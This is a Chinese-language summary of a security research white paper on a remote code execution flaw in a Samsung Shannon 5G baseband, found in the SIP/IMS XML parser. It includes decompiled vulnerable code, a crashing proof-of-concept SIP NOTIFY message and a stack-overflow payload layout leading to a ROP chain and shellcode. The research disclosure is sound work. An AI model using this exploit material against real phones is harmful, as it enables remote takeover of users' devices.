Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones 通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书 致谢:腾讯科恩安全实验室
Keen Security Lab of Tencent Marco Grassi (@marcograss), Xingyu Chen (@0xKira233)
研究5G网络安全的背景:
近年来,我们看到5G网络被广泛采用,包括消费设备、物联网和关键基础设施。 对连接到5G网络的设备数量的估计各不相同,但统计数据显示,这些设备在市场上占有很大的份额。
为了加入5G网络,每一个设备都必须配备5G调制解调器(5G modem),负责调制信号和实施无线电协议。该组件通常也称为基带。
保护这些组件的安全非常重要,因为它们处理来自无线网络的不可信数据,这使得它们对远程攻击者特别有吸引力。
在我们之前的工作中,我们检查了上一代网络(如2G、3G或4G)的安全调制解调器,并实现了RCE攻击·。
本文将探讨5G网络发生了哪些变化,在安全方面有哪些改进,哪些没有。此次将演示在新一代5G智能手机上完成RCE是有可能的。
近些年来5G网络安全是完全没有被设计到的领域,白皮书提供了两篇文章供作为背景知识参考: 1.Huawei modem remote code execution 2.pwn2own Amat Cama work on Samsung Shannon
研究准备方法:
寻找目标: 购买了市面上的不同5G智能手机 攻击范围: 完成一次RCE攻击 漏洞挖掘范围: 不访问任何商业5G基站的情况下触发漏洞 5G设备的区别: 非独立模式(NSA):该模式结合了新的5G信号,并利用了4G网络的其他组件。 独立模式(SA):该模式完全实现并使用5G新无线信号与5G网络协议。
测试手机型号:
Vivo S6 5G手机 SA模板 骁龙980 三星Shannon基带
审计范围与漏洞挖掘
在审计过程中发现了stack cookie缓解保护又称为Stack Canary,这是一种经典的缓冲区溢出的保护机制. Stack Cannary通过在栈中设置标识检查输入的数据是否破坏栈,只要绕过Stack Cannary保护就能完成攻击。 在5G设备中仍然会出现“栈溢出”这种低级毛病,最有趣的不是栈溢出环节,而是分析基带中的XML程序,XML解析器负责解析从网络到设备调制解调器的IMS消息。 其中,在5G与4G通信中会通过IMS建立联系,基带就是IMS的客户端,它会处理VoLTE与VoNR信息,所以一定会传输有关SIP的信息,IMS服务端通过SIP信息与modem进行数据传输。 IMS是4G和5G网络的首选架构,在其上构建交互式呼叫,我们稍后将了解这对本研究的重要性。
基带它是一个IMS客户端,负责处理VOLT、VoNR消息,因此它必须能够处理SIP消息,IMS服务器使用SIP消息与调制解调器通信。 下面是message示例: SIP是一种基于文本、类似HTTP的协议,包括头和内容。接收器(在本例中为基带)需要解析来自服务器的消息。
漏洞
我们的OTA远程代码执行错误位于基带的IMS部分。解析SIP协议消息的XML内容时,它将调用函数IMSPL_XmlGetNextTagName 这个调制解调器没有调试符号或信息,因此所有函数名、类型和函数签名都可以从日志字符串手动恢复,也可以通过反向工程恢复。这个函数将解析src中的XML标记,并将其名称复制到dst,例如,把“meta”复制到缓冲区中。
<meta name=“viewport”content=“width=device width,initial scale=1”>
下面这个函数在寻找结束标志跳过一些特殊字符如:’/’’>’?’ 函数没有做任何安全检测,可以完成任意call与缓冲区溢出。 通过IMSPL_XmlGetNextTagName我们寻找到有许多可以进行call的地方,由于缓冲区是从OTA消息中提取的,因此它们中的大多数都易受攻击。 我们选择栈溢出是可靠的,没有stack canary 保护,因此我们可以简单地完成缓冲区溢出,控制存储在栈上的返回地址,并执行我们的shellcode。 这是溢出的函数IMSPL_XmlParser_ContactLstDecode
int IMSPL_XmlParser_ContactLstDecode(int *a1, int *a2) {
unsigned int8 *v4;
int v5;
log_info_s *v7;
int v8;
unsigned int8 *v9;
int v10;
char v11[136];
bzero(v11, 100);
v10 = 0;
v4 = (unsigned int8 *)*a1;
v8 = 10597;
v9 = v4;
v7 = &log_struct_4380937c;
log_0x418ffa6c(&v7, ”IMSPL_XmlParser_ContactLstDecode”, -20071784);
if (IMSPL_XmlGetNextTagName((char *)&v9, v11) != 1) {
LABEL_8:
*a1 = (int)v9;
v8 = 10597;
v7 = &log_struct_43809448;
log_0x418ffa6c(&v7, -20071784);
return 1;
}
当我们观察到char v11[136]; v11变量在栈上有100byte大小的缓冲区可以溢出 我们同样找到了相似的函数IMSPL_XmlParser_RegLstDecode IMSPL_XmlParser_ContElemChildNodeDecode 等。 根据以上函数的名字我们可以推测,我们可以完成一次ROP链攻击 MSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode -> IMSPL_XmlParser_RegLstDecode-> IMSPL_XmlParser_RegistratonElemDecode-> IMSPL_XmlParser_ContactLstDecode 如果payload通过SIP协议中的NOTIFY信息发送,可以造成基带崩溃。由于函数find_tag_end里面对一些字符的黑名单, “\x00\x09\x0a\x0d\x20\x2f\x3e\x3f”,所以我们在构建ROP链 不能利用有用的gadgets 下面是使基带崩溃的POC不能完成攻击
NOTIFY sip:404456666666666@192.168.101.2:5060 SIP/2.0
Via: SIP/2.0/TCP 172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
Via: SIP/2.0/UDP
172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
To: <sip:666666>;tag=31f5ed9f
From: <sip:@666666>;tag=facfaba04ffdc638bb119e5faba08da6-3a20000
CSeq: 4 NOTIFY
Call-ID: 85bcaa29686a87fe@192.168.101.2
Content-Length: 1719
User-Agent: Kamailio S-CSCF
Contact: <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
Event: reg
Max-Forwards: 69
Subscription-State: active;expires=600000
Content-Type: application/reginfo+xml
<?xml version=”1.0”?>
<reginfo xmlns=”urn:ietf:params:xml:ns:reginfo” version=”2” state=”full”>
<registration aor=”tel:666666” id=”0x7f970dea8570” state=”active”>
<contact id=”0x7f970dea7710” state=”active” event=”registered” expires=”599996” q=”0.000”> <uri>sip:404456666666666@192.168.101.2:5060;alias=192.168.101.2~49214~2</uri>
<unknown-param
name=”+sip.instance”>”<urn:gsma:imei:86044804-970539-0>”</unknown-param>
<unknown-param name=”+g.3gpp.smsip”></unknown-param>
<unknown-param name=”video”></unknown-param> <unknown-param name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ”</unknown-param>
</contact>
</registration>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ? payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?
</reginfo>
在ROP链执行以后,基带仍然是完好无损的,我们可以更换一个更好的位置进行溢出,例如标签
<?xml version=”1.0”?>
<reginfo xmlns=”urn:ietf:params:xml:ns:reginfo” version=”2” state=”full”>
<registration aor=”tel:666666” id=”0x7fe072423570” state=”active”>
<contact id=”0x7fe072422710” state=”active” event=”registered” expires=”599996” q=”0.000”>
AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here>test</haha
</contact>
</registration>
</reginfo>
Payload的结构如下: 在栈上Payload是从100byte的’A’开始,紧接着栈上保存了R4-R11。真正的ROP链是为了从栈上复制shellcode然后执行shellcode
|